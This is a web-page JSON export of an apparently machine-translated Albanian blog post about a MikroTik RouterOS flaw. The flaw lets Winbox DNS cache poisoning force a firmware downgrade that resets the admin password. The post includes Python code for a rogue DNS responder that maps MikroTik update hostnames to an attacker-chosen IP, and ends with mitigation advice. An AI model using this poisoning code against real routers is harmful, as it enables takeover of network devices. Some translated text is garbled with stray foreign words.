{"id":39604,"date":"2019-10-31T22:36:42","date_gmt":"2019-10-31T19:36:42","guid":{"rendered":"https:\/\/prohoster.info\/blog\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv\/"},"modified":"2019-10-31T22:36:42","modified_gmt":"2019-10-31T19:36:42","slug":"backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","title":{"rendered":"Vulnerabiliteti Backport n\u00eb RouterOS rrezikon qindra mij\u00ebra pajisje","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

\"Vulnerabiliteti
\n
\nmund\u00ebsia p\u00ebr t\u00eb ulur n\u00eb distanc\u00eb pajisjet e bazuara n\u00eb RouterOS (Mikrotik) v\u00eb n\u00eb rrezik qindra mij\u00ebra pajisje rrjet\u00ebsore. Vulnerabiliteti \u00ebsht\u00eb i lidhur me shkarkimin e DNS-cache t\u00eb protokollit Winbox dhe lejon ngarkimin e nj\u00eb firmware-i t\u00eb vjetruar (me rivendosjen e fjal\u00ebkalimit \"si n\u00eb fillim\") ose t\u00eb modifikuar n\u00eb pajisje.
\n<\/a><\/noindex>
\n\"Vulnerabiliteti
\n<\/p>\n

detajet e vulberabilitetit<\/h3>\n

\nTerminali RouterOS mb\u00ebshtet komand\u00ebn e zgjidhjes p\u00ebr t\u00eb k\u00ebrkuar DNS.<\/p>\n

\"Vulnerabiliteti
\n
\nK\u00ebrkesa trajtohet nga nj\u00eb skedar binar i quajtur resolver. Resolver \u00ebsht\u00eb nj\u00eb nga shum\u00eb skedar\u00eb binar\u00eb q\u00eb lidhen me protokollin Winbox nga RouterOS. N\u00eb nj\u00eb nivel t\u00eb lart\u00eb, \"mesazhet\" e d\u00ebrguara n\u00eb portin Winbox mund t\u00eb drejtohen n\u00eb skedar\u00eb t\u00eb ndrysh\u00ebm binar\u00eb n\u00eb RouterOS t\u00eb bazuara n\u00eb nj\u00eb skem\u00eb num\u00ebrimi t\u00eb bazuar n\u00eb array.<\/p>\n

N\u00eb m\u00ebnyr\u00eb t\u00eb paracaktuar, funksioni i serverit DNS \u00ebsht\u00eb i \u00e7aktivizuar n\u00eb RouterOS.<\/p>\n

\"Vulnerabiliteti
\n
\nMir\u00ebpo, edhe me funksionin e serverit t\u00eb \u00e7aktivizuar, routeri mb\u00ebshtet nj\u00eb cache t\u00eb vetin DNS.<\/p>\n

\"Vulnerabiliteti
\n
\nKur b\u00ebjm\u00eb nj\u00eb k\u00ebrkes\u00eb duke p\u00ebrdorur winbox_dns_request, p\u00ebr shembull, example.com, routeri do t\u00eb ruaj\u00eb rezultatin.<\/p>\n

\"Vulnerabiliteti
\n
\nDuke qen\u00eb se mund t\u00eb\u6307\u5b9a DNS-serverin p\u00ebrmes t\u00eb cilit duhet t\u00eb kaloj\u00eb k\u00ebrkesa, \u00ebsht\u00eb triviale t\u00eb fut\u00ebsh adresa t\u00eb gabuara. P\u00ebr shembull, mund t\u00eb konfigurosh realizimin e serverit DNS nga Philip Klaus<\/a><\/noindex>, n\u00eb m\u00ebnyr\u00eb q\u00eb t\u00eb p\u00ebrgjigjet gjithmon\u00eb me nj\u00eb \u0437\u0430\u043f\u0438\u0441 A q\u00eb p\u00ebrmban adres\u00ebn IP 192.168.88.250.<\/p>\n

def dns_response(data):\n    request = DNSRecord.parse(data)\n    reply = DNSRecord(DNSHeader(\n        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n    qname = request.q.qname\n    qn = str(qname)\n    reply.add_answer(RR(qn,ttl=30,rdata=A(\"192.168.88.250\")))\n    print(\"---- P\u00ebrgjigje:n\", reply)\n    return reply.pack()<\/code><\/pre>\n
\nTani, n\u00ebse k\u00ebrkon example.com me Winbox, mund t\u00eb shoh\u00ebsh se cache DNS i routerit \u00ebsht\u00eb i helmuar.<\/p>\n
\"Vulnerabiliteti
\n
\nSigurisht, helmimi i example.com nuk \u00ebsht\u00eb shum\u00eb i dobish\u00ebm, pasi routeri n\u00eb realitet nuk do ta p\u00ebrdor\u00eb at\u00eb. Megjithat\u00eb, routeri ka nevoj\u00eb t\u00eb b\u00ebj\u00eb k\u00ebrkesa p\u00ebr upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com dhe download.mikrotik.com. Dhe fal\u00eb nj\u00eb gabimi tjet\u00ebr, ka mund\u00ebsin\u00eb t\u00eb helmoj\u00eb t\u00eb gjitha ato nj\u00ebher\u00ebsh.<\/p>\n
def dns_response(data):\n    request = DNSRecord.parse(data)\n    reply = DNSRecord(DNSHeader(\n        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)\n    qname = request.q.qname\n    qn = str(qname)\n    reply.add_answer(RR(qn,ttl=30,rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"upgrade.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"cloud.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"cloud2.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    reply.add_answer(RR(\"download.mikrotik.com\",ttl=604800,\n        rdata=A(\"192.168.88.250\")))\n    print(\"---- P\u00ebrgjigje:n\", reply)\n    return reply.pack()<\/code><\/pre>\n
\nRuter k\u00ebrkon nj\u00eb lejim t\u00eb vet\u00ebm, nd\u00ebrsa ne ofrojm\u00eb pes\u00eb n\u00eb kthim. Ruter nuk e ruan sakt\u00eb t\u00eb gjitha k\u00ebto p\u00ebrgjigje.<\/p>\n
\"Vulnerabiliteti
\n
\n\u00cbsht\u00eb e qart\u00eb se ky sulm \u00ebsht\u00eb gjithashtu i dobish\u00ebm n\u00ebse ruterit i \u00ebsht\u00eb caktuar roli i serverit DNS, pasi lejon sulmin e klient\u00ebve t\u00eb ruterit.<\/p>\n
Po ashtu, ky sulm lejon shfryt\u00ebzimin e nj\u00eb dob\u00ebsie m\u00eb serioze: realizimin e nj\u00eb downgrade ose backport t\u00eb versionit t\u00eb RouterOS. Sulmuesi riprodhon logjik\u00ebn e serverit t\u00eb azhurnimeve, duke p\u00ebrfshir\u00eb changelog, dhe e b\u00ebn RouterOS ta perceptoj\u00eb nj\u00eb version t\u00eb vjetruar (t\u00eb dob\u00ebt) si t\u00eb zakonsh\u00ebm. Rreziku k\u00ebtu q\u00ebndron n\u00eb faktin se gjat\u00eb \"azhurnimit\" versioni i fjal\u00ebkalimit t\u00eb administratorit kthehet n\u00eb vler\u00ebn \"standard\" \u2014 nj\u00eb sulmues mund t\u00eb hyj\u00eb n\u00eb sistem me nj\u00eb fjal\u00ebkalim bosh!<\/p>\n
\r\n        \"Luaj\r\n        
<\/div>\r\n    <\/div><\/center>
\nSulmi \u00ebsht\u00eb plot\u00ebsisht funksional, megjith\u00ebse autori<\/a><\/noindex> realizon disa vektor\u00eb t\u00eb tjera, t\u00eb lidhura gjithashtu me ky\u00e7jen e backdoor n\u00eb firmware<\/a><\/noindex>, por kjo \u00ebsht\u00eb nj\u00eb teknik\u00eb e tep\u00ebrt dhe p\u00ebrdorimi i saj p\u00ebr q\u00ebllime t\u00eb paligjshme \u00ebsht\u00eb nj\u00eb krim.<\/p>\n
Mbrojtja<\/h3>\n
\nThjesht \u00e7aktivizimi i Winbox-it siguron mbrojtje nga k\u00ebto sulme. Megjith\u00ebse administrimi p\u00ebrmes Winbox \u00ebsht\u00eb i p\u00ebrshtatsh\u00ebm, \u00ebsht\u00eb m\u00eb mir\u00eb t\u00eb p\u00ebrdoret protokolli SSH.
\n
Burimi: habr.com<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u0430\u0443\u043d\u0433\u0440\u0435\u0439\u0434\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 RouterOS (Mikrotik) \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0441\u043e\u0442\u043d\u0438 \u0442\u044b\u0441\u044f\u0447 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0442\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c DNS-\u043a\u0435\u0448\u0430 Winbox \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0443\u044e (\u0441\u043e \u0441\u0431\u0440\u043e\u0441\u043e\u043c \u043f\u0430\u0440\u043e\u043b\u044f \u00ab\u043f\u043e-\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e\u00bb) \u0438\u043b\u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e. \u0414\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b RouterOS \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 DNS. \u042d\u0442\u043e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u043e\u043c \u0441 \u0438\u043c\u0435\u043d\u0435\u043c resolver. Resolver \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":39605,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-39604","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Dob\u00ebsia e Backport n\u00eb RouterOS rrezikon qindra mij\u00ebra pajisje | ProHoster","description":"Mund\u00ebsia.","canonical_url":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sq_AL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47Backport \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 RouterOS \u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u0443 \u0441\u043e\u0442\u043d\u0438 \u0442\u044b\u0441\u044f\u0447 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 | ProHoster","og:description":"\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c.","og:url":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/backport-uyazvimost-v-routeros-stavit-pod-ugrozu-sotni-tysyach-ustrojstv","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2019-10-31T19:36:42+00:00","article:modified_time":"2019-10-31T19:36:42+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"39604","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":"2026-01-24 02:24:21","breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-03-01 00:47:24","updated":"2026-01-24 02:24:21","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/39604","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/comments?post=39604"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/posts\/39604\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media\/39605"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/media?parent=39604"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/categories?post=39604"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sq\/wp-json\/wp\/v2\/tags?post=39604"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}